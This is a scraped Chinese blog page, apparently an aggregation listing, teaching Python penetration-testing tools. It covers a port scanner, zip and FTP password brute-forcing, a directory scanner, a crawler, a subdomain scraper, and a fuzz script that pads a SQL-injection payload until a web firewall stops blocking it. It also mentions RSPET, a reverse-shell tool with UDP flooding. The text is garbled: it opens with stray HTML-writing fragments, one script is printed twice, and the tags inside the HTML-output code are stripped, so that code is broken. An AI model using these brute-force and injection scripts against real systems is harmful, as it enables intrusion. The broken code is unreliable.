精华内容
下载资源
问答
  • 文章作者:xiaoye文章来源:i春秋关键字:网络渗透技术前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集。...
    ")

    fout.write("

    for datain self.datas:

    fout.write("

    fout.write("

    %s" % data['url'])

    #fout.write("

    %s" % data['title'].encode('utf-8'))

    #fout.write("

    %s" % data['summary'].encode('utf-8'))

    fout.write("

    ")

    fout.write("

    ")

    fout.write("

    展开全文
  • 难易程度:★★★阅读点:python;web安全;文章作者:xiaoye

    难易程度:★★★

    阅读点:python;web安全;

    文章作者:xiaoye

    展开全文
  • RSPET (Reverse Shell and Post Exploitation Tool) 是一个基于Python的反连shell,并且具备后渗透阶段的一些功能。注意:在V0.0.3版本中添加了一个min文件夹,因为这个新版本包含了其它不影响主功能(反连shell)的...

    RSPET (Reverse Shell and Post Exploitation Tool) 是一个基于Python的反连shell,并且具备后渗透阶段的一些功能。注意:在V0.0.3版本中添加了一个min文件夹,因为这个新版本包含了其它不影响主功能(反连shell)的其它功能

    min不会引入v0.0.3之后版本的任何更多功能,只接受与bug和性能相关的补丁。

    目前的版本:v0.0.6

    功能

    远程命令执行

    流量加密(异或加密代替明文传输),使用443端口可以取得更好的效果

    内置了加密传输文件或二进制数据的功能

    内置UDP洪泛攻击工具

    内置UDP欺骗攻击工具

    管理多个或全部主机,控制多个连接的主机传输文件和UDP洪泛攻击。

    模块化的代码设计,易于定制

    客户端脚本已经过测试,可以兼容Pyinstaller(可以转换成.exe)

    1.UDP欺骗使用了RAW_SOCKETS,所以为了正常使用,客户端需要运行在支持RAW_SOCKETS的操作系统(大部分基于Unix的系统)上,并且有root权限。最后,许多ISP在某地方做了手脚,有可能会丢弃或者修改欺骗的数据包。

    2.查看EXPANDING,方便你添加新的功能,或者根据你的需要定制RSPET

    3.查看primalsecurity.net的博客,了解生成.exe的方法

    部署

    RSPET_server.py或RSPET_server_min.py运行在攻击机上,接收连接。

    RSPET_client.py或RSPET_client_min.py运行在目标机上,会初始化并发送连接请求,等待输入。

    执行

    服务端:

    [cc lang=”php”]

    python RSPET_server.py (max_connections)

    [/cc]

    max_connections如果为空,则默认为5.

    控制端:

    [cc lang=”php”]

    python RSPET_client.py server_ip

    [/cc]

    可以根据个人需要进行调整

    Linux发行版

    包含RSPET的Linux发行版列表

    BlackArch Linux (2016.04.28版本中)

    原创文章,作者:老D,如若转载,请注明出处:https://laod.cn/tools/python-shell-penetration-tool.html

    展开全文
  • 前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集。一、信息搜集--py端口扫描小脚本端口扫描是渗透测试中常用...

    前言

    python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集。

    一、信息搜集--py端口扫描小脚本

    端口扫描是渗透测试中常用的技术手段,发现敏感端口,尝试弱口令或者默认口令爆破也是常用的手段,之前自学python时候百度着写了个小脚本。

    端口扫描小脚本:

    #coding: utf-8

    import socket

    import time

    def scan(ip, port):

    try:

    socket.setdefaulttimeout(3)

    s = socket.socket()

    s.connect((ip, port))

    return True

    except:

    return

    def scanport():

    print '作者:xiaoye'.decode('utf-8').encode('gbk')

    print '--------------'

    print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]

    print '--------------'

    ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))

    ips = socket.gethostbyname(ym)

    print 'ip: %s' % ips

    portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]

    starttime = time.time()

    for port in portlist:

    res = scan(ips, port)

    if res :

    print 'this port:%s is on' % port

    endtime = time.time()

    print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)

    if __name__ == '__main__':

    scanport()

    #coding: utf-8

    import socket

    import time

    def scan(ip, port):

    try:

    socket.setdefaulttimeout(3)

    s = socket.socket()

    s.connect((ip, port))

    return True

    except:

    return

    def scanport():

    print '作者:xiaoye'.decode('utf-8').encode('gbk')

    print '--------------'

    print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]

    print '--------------'

    ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))

    ips = socket.gethostbyname(ym)

    print 'ip: %s' % ips

    portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]

    starttime = time.time()

    for port in portlist:

    res = scan(ips, port)

    if res :

    print 'this port:%s is on' % port

    endtime = time.time()

    print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)

    if __name__ == '__main__':

    scanport()

    对于端口扫描技术,其实分很多种,通常是利用tcp协议的三次握手过程(从网上偷张图。。)

    放出的那个脚本,是利用了tcp connect() 即完成了tcp三次握手全连接,根据握手情况判断端口是否开放,这种方式比较准确,但是会在服务器留下大量连接痕迹。

    当然,如果不想留下大量痕迹,我们可以在第三次握手过程,将ack确认号变成rst(释放连接),连接没有建立,自然不会有痕迹,但是这种方法需要root权限

    好了,先讲解一下我们的py端口扫描小脚本:

    核心代码:

    portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]

    for port in portlist:

    res = scan(ips, port)

    if res :

    print 'this port:%s is on' % port

    这段代码是定义了要扫描的端口,并且用for ..in .. 来进行遍历

    socket.setdefaulttimeout(3)

    s = socket.socket()

    s.connect((ip, port))

    这段代码,是利用了socket套接字,建立tcp连接,socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用于tcp连接建立

    二、实用爆破小脚本--压缩文件密码爆破&&ftp爆破

    对于压缩文件,py有自己的处理模块zipfile,关于zipfile的实例用法,在violent python里有实例脚本,模仿书里写了个小脚本

    #coding: utf-8

    '''

    z = zipfile.ZipFile('') , extractall

    z.extractall(pwd)

    '''

    import zipfile

    import threading

    def zipbp(zfile, pwd):

    try:

    zfile.extractall(pwd=pwd)

    print 'password found : %s' % pwd

    except:

    return

    def main():

    zfile = zipfile.ZipFile('xx.zip')

    pwdall = open('dict.txt')

    for pwda in pwdall.readlines():

    pwd = pwda.strip('\n')

    t = threading.Thread(target=zipbp, args=(zfile, pwd))

    t.start()

    #t.join()

    if __name__ == '__main__':

    main()

    其实脚本很简单,核心就一个地方:

    zfile = zipfile.ZipFile('xx.zip')

    ..............

    zfile.extractall(pwd=pwd)

    ZipFile是zipfile模块重要的一个类,zfile就是类的实例,而extractall(pwd)就是类里的方法,用于处理带有密码的压缩文件;当pwd正确时,压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法,加载字典不断尝试pwd,直至返回正确的密码,爆破成功

    python在爆破方面也很有优势,比如ftp,py也有ftplib模块来处理,一次ftp连接过程如下:

    ftp = ftplib.FTP()

    ftp.connect(host, 21, 9)

    ftp.login(user, pwd)

    ftp.retrlines('LIST')

    ftp.quit()

    connect(ip, port, timeout)用于建立ftp连接;login(user,pwd)用于登陆ftp;retrlines()用于控制在服务器执行命令的结果的传输模式;quit()方法用于关闭ftp连接

    是不是觉得和zipfile的套路很像?没错,你会写一个,就会写另外一个,就会写许许多多的爆破脚本,脚本我就不放出来了,大家自己动手去写一写(p.s:关于ftp爆破,在加载字典之前,请先尝试空密码,即ftp.login(),万一成功了呢。。)

    三、目录探测--py低配版御剑

    昨天写了个小脚本,用来探测目录,实现和御剑一样的效果,脚本是写好了,开了多线程,但是还算很慢。。之后我会再次修改:

    #coding: utf-8

    import sys

    import requests

    import threading

    def savetxt(url):

    with open('domain.txt', 'a') as f:

    url = url + '\n'

    f.write(url)

    def geturl(url):

    r = requests.get(url, timeout=1)

    status_code = r.status_code

    if status_code == 200:

    print url + ' 200 ok'

    savetxt(url)

    #print url

    #print status_code

    syslen = len(sys.argv)

    #print syslen

    #res=[]

    url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))

    for i in range(1,syslen):

    with open(sys.argv[i], 'r') as f:

    for fi in f.readlines():

    fi = fi.strip('\n')

    #print fi

    fi = url + '/' + fi

    #print fi

    t = threading.Thread(target=geturl, args=(fi,))

    t.start()

    t.join()

    #res = ''.join(res)

    #print res

    能run起来,速度较慢。。

    说一下主要思想吧,之后我改完再细讲。。:

    加载1个或者多个字典,将字典中的内容与输入的url进行拼接得到完整url;

    关于加载多个字典,代码实现如下:

    syslen = len(sys.argv)

    #print syslen

    #res=[]

    url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))

    for i in range(1,syslen):

    with open(sys.argv[i], 'r') as f:

    for fi in f.readlines():

    fi = fi.strip('\n')

    #print fi

    fi = url + '/' + fi

    利用sys.argv,我们输入python yujian.py dir.txt就加载dir.txt,输入dir.txt php.txt ,因为有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];

    with open(sys.argv, 'r') as f:它就会自动加载输入的两个txt文件(sys.argv[1]、sys.argv[2]);也就是说,我们输入几个文件,它就加载几个文件作为字典

    当我们遇到php站点时,完全可以把御剑的字典拿过来,只加载php.txt dir.txt,这点和御剑是一样的:

    通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断;

    如果返回200就将该url打印出来,并且存进txt文本里

    目前是这么个想法。。

    -----------------------------------------------------------------------

    有关于更多小脚本, 可以访问 https://github.com/xiaoyecent 目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本,新手单纯交流学习,大牛勿喷

    四、爬虫爬取整站连接

    这个爬虫是慕课网上的蚂蚁老师讲的,感觉做的非常好,就改了一下,本来是用来爬取百度百科python1000条词条的(现在还是能爬的,要是之后目标更新了,就得制订新的爬虫策略了,大的框架不需要变),改成了爬取网站整站连接,扩展性还是很好的。

    爬虫的基本构成,抓一张蚂蚁老师的图:

    1.调度器:调度器用来对各个部分进行调度,如将url取出,送给下载器下载,将下载是页面送给解析器解析,解析出新的url及想要的数据等

    2.url管理器:url管理器要维护两个set()(为啥用set(),因为set()自带去重功能),一个标识已抓取的url,一个标识待抓取的url,同时,url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等

    3.下载器:实现最简单,抓取静态页面只需要r =

    requests.get,然后r.content,页面内容就存进内存了,当然,你存进数据库里也是可以的;但是同时也是扩展时的重点,比如某些页面需要登陆才能访问,这时候就得post传输账号密码或者加上已经登陆产生的cookie

    4.解析器:BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据

    5.输出器:主要功能输出想得到的数据

    调度器:

    spider_main.py

    #!/usr/bin/env python2

    # -*- coding: UTF-8 -*-

    from spider import url_manager, html_downloader, html_outputer, html_parser

    class SpiderMain(object):

    def __init__(self):

    self.urls = url_manager.UrlManager()

    self.downloader = html_downloader.HtmlDownloader()

    self.parser = html_parser.HtmlParser()

    self.outputer = html_outputer.HtmlOutputer()

    def craw(self, root_url):

    self.urls.add_new_url(root_url)

    while self.urls.has_new_url():

    try :

    new_url = self.urls.get_new_url()

    print 'craw : %s' % new_url

    html_cont = self.downloader.download(new_url)

    new_urls, new_data = self.parser.parse(new_url, html_cont)

    self.urls.add_new_urls(new_urls)

    self.outputer.collect_data(new_data)

    except:

    print 'craw failed'

    self.outputer.output_html()

    if __name__ == "__main__":

    root_url = "自己想爬的网站,我爬了下爱编程,效果还行"

    obj_spider = SpiderMain()

    obj_spider.craw(root_url)

    其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是自己写的模块,各个模块里有各自的类和方法,通过初始化得到相应类的实例;

    craw是调度器对各个模块的调度:

    new_url = self.urls.get_new_url()

    print 'craw : %s' % new_url

    html_cont = self.downloader.download(new_url)

    new_urls, new_data = self.parser.parse(new_url, html_cont)

    self.urls.add_new_urls(new_urls)

    self.outputer.collect_data(new_data)

    分别对应着:

    1.从待爬取url列表中取出一个url

    2.将改url送往下载器下载,返回页面内容

    3.将页面送往解析器解析,解析出新的url列表和想要的数据

    4.调度url管理器,将新的url添加进带爬取的url列表

    5.调度输出器输出数据

    url管理器:

    url_manager.py:

    #!/usr/bin/env python2

    # -*- coding: UTF-8 -*-

    class UrlManager(object):

    def __init__(self):

    self.new_urls = set()

    self.old_urls = set()

    def add_new_url(self, url):

    if url is None:

    return

    if url not in self.new_urls and url not in self.old_urls:

    self.new_urls.add(url)

    def add_new_urls(self, urls):

    if urls is None or len(urls) == 0:

    return

    for url in urls:

    self.add_new_url(url)

    def has_new_url(self):

    return len(self.new_urls) != 0

    def get_new_url(self):

    new_url = self.new_urls.pop()

    self.old_urls.add(new_url)

    return new_url

    url_manager模块里的类,及类的方法

    下载器:

    html_downloader.py

    本来蚂蚁老师用的urllib,我给改了,改成requests:

    #!/usr/bin/env python2

    # -*- coding: UTF-8 -*-

    import urllib2

    import requests

    class HtmlDownloader(object):

    def download(self, url):

    if url is None:

    return None

    r = requests.get(url,timeout=3)

    if r.status_code != 200:

    return None

    return r.content

    html解析器:

    html_parser.py

    把抓取策略给改了,现在是解析所有链接,即a标签href的值

    #!/usr/bin/env python2

    # -*- coding: UTF-8 -*-

    import re

    import urlparse

    from bs4 import BeautifulSoup

    class HtmlParser(object):

    def parse(self, page_url, html_cont):

    if page_url is None or html_cont is None:

    return

    soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')

    new_urls = self._get_new_urls(page_url, soup)

    new_data = self._get_new_data(page_url, soup)

    return new_urls, new_data

    def _get_new_urls(self, page_url, soup):

    new_urls = set()

    links = soup.find_all('a')

    for link in links:

    new_url = link['href']

    new_full_url = urlparse.urljoin(page_url, new_url)

    new_urls.add(new_full_url)

    return new_urls

    def _get_new_data(self, page_url, soup):

    res_data = {}

    # url

    return res_data

    html_outputer.py

    这个看情况,可要可不要,反正已经能打印出来了:

    #!/usr/bin/env python2

    # -*- coding: UTF-8 -*-

    class HtmlOutputer(object):

    def __init__(self):

    self.datas = []

    def collect_data(self, data):

    if data is None:

    return

    self.datas.append(data)

    def output_html(self):

    fout = open('output.html', 'w')

    fout.write("")

    fout.write("

    ")

    fout.write("

    for data in self.datas:

    fout.write("

    ")

    fout.write("

    %s" % data['url'])

    #fout.write("

    %s" % data['title'].encode('utf-8'))

    #fout.write("

    %s" % data['summary'].encode('utf-8'))

    fout.write("

    ")

    fout.write("

    ")

    fout.write("")

    fout.write("")

    fout.close()

    运行效果:

    这款爬虫可扩展性挺好,之后大家可以扩展爬取自己想要的内容

    当然要是只需要爬取某个页面的某些内容,完全不必要这么麻烦,一个小脚本就好了:

    比如我要爬取某二级域名接口中的二级域名结果:

    #coding: utf-8

    import urllib, re

    def getall(url):

    page = urllib.urlopen(url).read()

    return page

    def ressubd(all):

    a = re.compile(r'value="(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )">

    subdomains = re.findall(a, all)

    return (subdomains)

    if __name__ == '__main__':

    print '作者:深夜'.decode('utf-8').encode('gbk')

    print '--------------'

    print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]

    print '--------------'

    url = 'http://i.links.cn/subdomain/' + raw_input('请输入主域名:'.decode('utf-8').encode('gbk')) + '.html'

    all = getall(url)

    subd = ressubd(all)

    sub = ''.join(subd)

    s = sub.replace('http://', '\n')

    print s

    with open('url.txt', 'w') as f:

    f.writelines(s)

    小脚本用正则就好了,写的快

    五、python在exp中的应用

    之前海盗表哥写过过狗的一个php fuzz脚本

    表哥写的php版本的:

    $url = 'http://192.168.1.121/sqlin.php'; for(;;){

    $i++;

    echo "$i\n";

    $payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);

    if(!strpos($ret,'网站防火墙')){

    echo "done!\n".strlen($payload)."\n".$ret; die();

    }

    }

    function doPost($url,$data=''){ $ch=curl_init();

    curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);

    curl_close ($ch); return $return;

    }

    我在本地搭了个环境,然后用python也写了下,还是挺好写的:

    #coding: utf-8

    import requests, os

    #i = 9990;

    url = 'http://localhost:8090/sqlin.php'

    def dopost(url, data=''):

    r = requests.post(url, data)

    return r.content

    for i in range(9990, 10000):

    payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}

    #print payload

    ret = dopost(url, payload)

    ret = ''.join(ret)

    if ret.find('网站防火墙') == -1:

    print "done\n" + "\n" + ret

    exit(0)

    六、总结

    学生党还是很苦逼的,1.15号才考完试,不说了,写文章写了俩小时。。我去复习了,各位表哥有意见或者建议尽管提,文章哪里不对的话会改的,欢迎表哥表弟们来社区一起交流哦~

    展开全文
  • Python渗透测试工具合集: http://www.freebuf.com/sectool/94777.html Github:python黑客工具军火库 https://www.cesafe.com/373.html/2/ 适用于渗透测试不同阶段的工具收集整理: ...
  • "python是门简易易懂的語言,强劲的第三方平台库我们一起在程序编写中事倍功半,今日人们就来谈一谈python渗透测试中的运用,我们一起动手做打造出自个的渗入工具集。难度系数水平:★★★阅读文章点:python;web...
  • 工具自己写的PYTHON工具集(渗透测试工具集)beian.py 备案查询小工具 beian.py baidu.combaiducrawler.py 百度关键字爬取小工具 baiducrawler.py 大黑客scanTitle.py 批量获取域名标题 scanTitle.py urls.txt...
  • 在进行漏洞研究、逆向工程或者渗透测试,我强烈推荐你使用 Python 作为编程语言。它包含大量实用的库和工具,本文会列举其中部分精华。 网络 Scapy , Scapy3k : 发送,嗅探,分析和伪造网络数据包。可用...
  • python渗透测试工具

    2019-09-27 08:03:36
    pypcap, Pcapy, pylibpcap: 几个不同 libpcap 捆绑的python库libdnet: 低级网络路由,包括端口查看和以太网帧的转发dpkt: 快速,轻量数据包创建和分析,面向基本的 TCP/IP 协议Impacket: 伪造和解码网络数据包,支持...
  • Python渗透测试工具

    2019-10-26 17:59:24
    漏洞及渗透练习平台 WebGoat漏洞练习平台: https://github.com/WebGoat/WebGoat webgoat-legacy漏洞练习平台: https://github.com/WebGoat/WebGoat-Legacy zvuldirll漏洞练习平台: ...vulapps漏洞练习平台: ...
  • python打造渗透工具

    2019-09-25 20:45:00
    python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集。 难易程度:★★★阅读点:python;web安全;文章作者:...
  • dvwa是一个开源的由php语言编写、使用mysql...本文主要内容是使用python编写dvwa登录的暴力破解脚本。dvwa的本地搭建这里就不赘述了,网上有很多介绍的文章大家可自行度娘,本次环境使用的是docker技术在kali li...
  • Python渗透、逆向工程工具

    千次阅读 2018-09-26 10:23:19
    如果你想参与漏洞研究、逆向工程和渗透,我建议你时候用Python语言。Python已经有很多完善可用的库,我将在这里把他们列出来。 这个清单里的工具大部分都是Python写成的,一部分是现有C库的Python绑定,这些库在...
  • 如果你热爱漏洞研究、逆向工程或者渗透测试,我强烈推荐你使用 Python 作为编程语言。它包含大量实用的库和工具,本文会列举其中部分精华。 网络 Scapy, Scapy3k: 发送,嗅探,分析和伪造网络数据包。可用作交互式...
  • 本文将用Python中的Scapy模块编写。 用一张图简单介绍一下ARP的攻击原理: 这时候,受害者的流量全部经过攻击者机,卖家发给受害者的流量也会经过攻击者机的手上。从而让受害者无法与网关联系,导致流量无法到达...
  • /usr/bin/python # -*- coding: utf-8 -*- import zipfile import optparse from threading import Thread #破解口令 def extractFile(zFile, password): try: zFile.extractall(pwd=password) print '[+] Found ...
  • PyQYT-masterCopyright notice: prepared by the current leader of Mingjiao Church Some of these Python programs are collected by the author, and these tools play a very important role in automatic pene....
  • Python渗透测试工具合集 xiaix 2016-01-28 [金币奖励] +10 共1064004人围观 ,发现 41 个不明物体 工具sshot.jpg如果你热爱漏洞研究、逆向工程或者渗透测试,我强烈推荐你使用 Python 作为编程语言。它包含大量实用...
  • l Scapy:一款强大的交互式数据报分析工具,可用作发送、嗅探、解析和伪造网络数据包。l pypcap、Pcapy和pylibpcap:配合libpcap一起使用的数据包捕获模块l libdnet:底层网络工具,含接口查询和以太网帧传输等功能l...
  • 01课程简介Python渗透测试职业体系课程是工程师级别课程,不是属于单一一类课程,和公开课的性质完全不一样,职业体系课程学习完成以后,需要达到安全工具开发工程师水平,本次Python系列课程主要方向为安全工具开发...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 789
精华内容 315
关键字:

python渗透工具

python 订阅